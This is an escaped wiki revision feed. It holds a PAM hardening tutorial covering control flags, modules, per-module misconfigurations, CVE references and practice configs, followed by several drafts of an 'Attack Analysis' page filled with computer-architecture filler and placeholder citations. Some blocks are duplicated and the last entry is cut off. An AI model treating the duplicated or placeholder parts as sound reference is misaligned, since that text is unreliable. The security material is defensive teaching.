{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Explanation (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Why do you think &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; was used instead of &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt;?&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== PAM Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.&lt;br /&gt;
&lt;br /&gt;
Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].&lt;br /&gt;
&lt;br /&gt;
== PAM Auditing ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/usr/lib64/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
https://www.redhat.com/en/blog/pam-configuration-file&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam&amp;lt;br /&amp;gt;&lt;br /&gt;
https://unit42.paloaltonetworks.com/linux-pam-apis/&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Account Policies|025]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=129</id>
		<title>PAM (Pluggable Authentication Module)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=129"/>
		<updated>2026-09-18T19:57:22Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Removed conflicting copyright notice&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/account_policies/pam (source: docs/linux/account_policies/pam.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (JSX style object); layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Kirill Shore&lt;br /&gt;
&lt;br /&gt;
Last Updated: 10-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is PAM? ==&lt;br /&gt;
&lt;br /&gt;
PAM stands for Pluggable Authentication Module. It&#039;s a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don&#039;t know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.&lt;br /&gt;
&lt;br /&gt;
== Pam Basics ==&lt;br /&gt;
&lt;br /&gt;
There are several PAM services (not to be confused with modules), as an example:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt;, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.&lt;br /&gt;
* &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix.so&amp;lt;/code&amp;gt; (Default PAM module)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally2.so&amp;lt;/code&amp;gt; (Which is used to count login attempts and lock an account after a specified number of failed attempts)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt; (Which provides 2FA support if you use the Google Authenticator app on a mobile device)&lt;br /&gt;
&lt;br /&gt;
== PAM Security Principles ==&lt;br /&gt;
&lt;br /&gt;
In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let&#039;s suppose that the teller logs into a banking application or a Linux shell for deposits. In &amp;lt;code&amp;gt;/etc/pam.d/deposit_app&amp;lt;/code&amp;gt;, we would configure PAM to allow teller group users or higher to authenticate:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_unix.so&lt;br /&gt;
account required    pam_succeed_if.so   user    ingroup tellers&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent  deny=5  unlock_time=600 # (this would lockout the account to prevent brute-force attacks&lt;br /&gt;
auth    required    pam_unix.so try_first_pass # (primary password authentication)&lt;br /&gt;
auth    required    pam_u2f.so  authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)&lt;br /&gt;
auth    required    pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)&lt;br /&gt;
auth    sufficient  pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== PAM Control Flags and Keywords ==&lt;br /&gt;
&lt;br /&gt;
Now, you may be asking: what do those flags, like &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.&lt;br /&gt;
&lt;br /&gt;
First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt; -&amp;amp;gt; This verifies a users identity (i.e. Password check, 2FA, smartcard)&lt;br /&gt;
* &amp;lt;code&amp;gt;account&amp;lt;/code&amp;gt; -&amp;amp;gt; This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)&lt;br /&gt;
* &amp;lt;code&amp;gt;password&amp;lt;/code&amp;gt; -&amp;amp;gt; This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;session&amp;lt;/code&amp;gt; -&amp;amp;gt; This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)&lt;br /&gt;
&lt;br /&gt;
Next, we have the control flags. These define what pam should do with the results of the module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; -&amp;amp;gt; This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; module fails, the outcome will be fail, no matter if other modules succeeded.&lt;br /&gt;
* &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt; -&amp;amp;gt; This is mostly the same as &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.&lt;br /&gt;
* &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; -&amp;amp;gt; If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.&lt;br /&gt;
* &amp;lt;code&amp;gt;optional&amp;lt;/code&amp;gt; -&amp;amp;gt; Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it&#039;ll be ignored. This is mainly used for logging modules and non-critical checks.&lt;br /&gt;
* &amp;lt;code&amp;gt;include&amp;lt;/code&amp;gt; -&amp;amp;gt; This isn&#039;t a flag, but actually a directive. It means &#039;include another PAM configuration file here&#039;. It is mostly used for reusing common configurations.&lt;br /&gt;
&lt;br /&gt;
== PAM Modules ==&lt;br /&gt;
&lt;br /&gt;
Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in &amp;lt;code&amp;gt;/lib/x86_64-linux-gnu/security/&amp;lt;/code&amp;gt; (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix&amp;lt;/code&amp;gt; Handles traditional UNIX authentication (passwords stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). Vulnerability: If the passwords in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; are compromised, or weak passwords are used, threat actors can brute force credentials.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_cracklib&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_pwquality&amp;lt;/code&amp;gt; Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn&#039;t used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_limits&amp;lt;/code&amp;gt; Applies limits defined in &amp;lt;code&amp;gt;/etc/security/limits.conf&amp;lt;/code&amp;gt; (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_securetty&amp;lt;/code&amp;gt; Restricts &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; login to &amp;amp;quot;secure&amp;amp;quot; terminals that are listed in &amp;lt;code&amp;gt;/etc/securetty&amp;lt;/code&amp;gt;. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_nologin&amp;lt;/code&amp;gt; Blocks non-root users from logging in if &amp;lt;code&amp;gt;/etc/nologin&amp;lt;/code&amp;gt; exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should&#039;ve been.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_time&amp;lt;/code&amp;gt; Restricts logins based on time of day rules in &amp;lt;code&amp;gt;/etc/security/time.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users&#039; accounts at 2am).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_access&amp;lt;/code&amp;gt; Controls access based on user and host rules from &amp;lt;code&amp;gt;/etc/security/accesss.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt; Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt; have been deprecated due to counting errors, possible username leakage, and more. Replaced with &amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_wheel&amp;lt;/code&amp;gt; Restricts the &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; command to users in the &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt; (also called &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; privilages, then modify files like &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt; Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_systemd&amp;lt;/code&amp;gt; Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_xauth&amp;lt;/code&amp;gt; Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_umask&amp;lt;/code&amp;gt; Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_group&amp;lt;/code&amp;gt; Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.&lt;br /&gt;
&lt;br /&gt;
=== Practice ===&lt;br /&gt;
&lt;br /&gt;
Can you instruct PAM to have a user login, verify via Google authenticator (&amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt;), and solve a Captcha (&amp;lt;code&amp;gt;/usr/local/sbin/pam_captcha.sh&amp;lt;/code&amp;gt;) before being granted access? If the user fails the captcha three times, the account is immediatley locked.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Solution (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent deny=3   unlock_time=900&lt;br /&gt;
auth    required    pam_unix.so try_first_pass&lt;br /&gt;
auth    required    pam_google_authenticator.so&lt;br /&gt;
auth    required    pam_exec.so quiet   log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh&lt;br /&gt;
auth    required    pam_faillock.so authfail&lt;br /&gt;
auth    sufficient  pam_faillock.so reset&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Explanation (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Why do you think &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; was used instead of &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt;?&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== PAM Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.&lt;br /&gt;
&lt;br /&gt;
Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].&lt;br /&gt;
&lt;br /&gt;
== PAM Auditing ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/usr/lib64/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://www.kirillshore.com My wesbite]&lt;br /&gt;
&lt;br /&gt;
[https://buymeacoffee.com/kirillshore Buy me a coffee]&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
https://www.redhat.com/en/blog/pam-configuration-file&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam&amp;lt;br /&amp;gt;&lt;br /&gt;
https://unit42.paloaltonetworks.com/linux-pam-apis/&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Account Policies|025]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=39</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=39"/>
		<updated>2026-08-08T20:07:17Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;ref&amp;gt;{{cite journal |last1=Etzkowitz |first1=Henry |date=2019 |title=Is Silicon Valley a global model or unique anomaly? |url=https://doi.org/10.1177/0950422218817734 |journal=Industry and Higher Education |volume=33 |issue=2 |publisher=SAGE Publications |pages=83–95 |doi=10.1177/0950422218817734 |access-date=2026-08-08}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
{{Reflist}}&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=38</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=38"/>
		<updated>2026-08-08T19:51:25Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;ref&amp;gt;https://doi.org/10.2307/41166326&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
{{cite journal&lt;br /&gt;
| author = name&lt;br /&gt;
| title = title&lt;br /&gt;
| journal = journal&lt;br /&gt;
| volume = vol 1&lt;br /&gt;
| issue = 1&lt;br /&gt;
| date = 2022&lt;br /&gt;
| pages = 123&lt;br /&gt;
| doi = doi.org&lt;br /&gt;
| url = url&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=19</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=19"/>
		<updated>2026-08-08T19:34:50Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;ref&amp;gt;https://doi.org/10.2307/41166326&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
{{Reflist}}&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=18</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=18"/>
		<updated>2026-08-08T19:33:57Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;ref&amp;gt;https://doi.org/10.2307/41166326&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=17</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=17"/>
		<updated>2026-08-08T19:31:35Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
